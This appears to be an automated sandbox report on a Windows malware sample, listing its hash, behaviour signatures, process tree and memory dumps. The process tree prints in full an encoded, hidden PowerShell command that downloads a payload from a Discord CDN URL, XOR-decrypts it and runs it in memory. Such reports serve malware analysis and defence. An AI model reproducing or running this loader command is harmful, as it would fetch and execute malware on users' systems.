Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
29/05/2026, 02:02
General
- Target 2026-05-29_94f1ab357054963a061ab92b89625dcd_akira_cobalt-strike_rusty-stealer_satacom.exe
- Size 192KB
- Sample260529-cf5dqaax8l
- SHA256 221a17cabac704e7f97613a403faadad6487b0ce35d09296fd6ce86e27d55672
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-29_94f1ab357054963a061ab92b89625dcd_akira_cobalt-strike_rusty-stealer_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-29_94f1ab357054963a061ab92b89625dcd_akira_cobalt-strike_rusty-stealer_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" "-w hidden -Enc JAB1AD0AJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADUAMAA0ADcANgAxADIAMwAyADMAMQA2ADUANgA3ADUANQAyAC8AMQA1ADAAOQAzADIANwAxADUAMgA3ADUANAAyADAAMAA2ADAANwAvADAAMQAyAF8AUwBUAEEAWgAuAGIAaQBuAD8AZQB4AD0ANgBhADEAOABjADUAZgAzACYAaQBzAD0ANgBhADEANwA3ADQANwAzACYAaABtAD0AYwA5ADIAOAA5ADAANgAzAGIANABmAGMAOQA5ADkAMQBhAGEAOAA5AGIAZgAyAGYANwA4AGEAZQA0ADkAZABiADgAZABlADMANwBiAGEAMwAyADcAOABkADQAYgBmADkAMQA2ADkAMgBkAGEAZgAzAGQAYQBiAGIANQA2ADcAMAAmACcAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYgA9ACQAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAOwAkAHgAPQAyADAAMgA2ADUAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAYgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJAB4AD0AJAB4ACoAMQAxADAAMwA1ADEANQAyADQANQArADEAMgAzADQANQA7ACQAYgBbACQAaQBdAD0AWwBiAHkAdABlAF0AKAAkAGIAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACgAJAB4ACAALQBzAGgAcgAgADEANgApACkAfQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgALABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0rxajwhe.j5b.ps1
memory/3852-19-0x000001A14A050000-0x000001A14A05A000-memory.dmp
memory/3852-22-0x000001A14A210000-0x000001A14A22A000-memory.dmp
memory/3852-8-0x000001A149C00000-0x000001A149C22000-memory.dmp
memory/3852-9-0x00007FFCDD600000-0x00007FFCDD720000-memory.dmp
memory/3852-10-0x00007FFCDD600000-0x00007FFCDD720000-memory.dmp
memory/3852-17-0x000001A149E70000-0x000001A149E8C000-memory.dmp
memory/3852-1-0x00007FFCDD600000-0x00007FFCDD720000-memory.dmp
memory/3852-20-0x000001A14A1D0000-0x000001A14A1EC000-memory.dmp
memory/3852-18-0x000001A149E90000-0x000001A149F43000-memory.dmp
memory/3852-21-0x000001A14A1B0000-0x000001A14A1BA000-memory.dmp
memory/3852-0-0x00007FFCDD600000-0x00007FFCDD720000-memory.dmp
memory/3852-23-0x000001A14A1C0000-0x000001A14A1C8000-memory.dmp
memory/3852-24-0x000001A14A1F0000-0x000001A14A1F6000-memory.dmp
memory/3852-25-0x000001A14A200000-0x000001A14A20A000-memory.dmp
memory/3852-28-0x00007FFCDD600000-0x00007FFCDD720000-memory.dmp